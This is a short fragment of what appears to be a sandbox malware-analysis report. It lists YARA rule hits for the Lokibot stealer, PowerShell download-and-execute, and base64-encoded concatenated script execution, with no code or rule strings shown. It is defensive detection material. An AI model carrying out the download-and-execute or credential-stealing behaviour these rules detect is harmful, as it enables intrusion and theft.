⊘No configs have been found
Source | Rule | Description | Author | Strings |
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JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |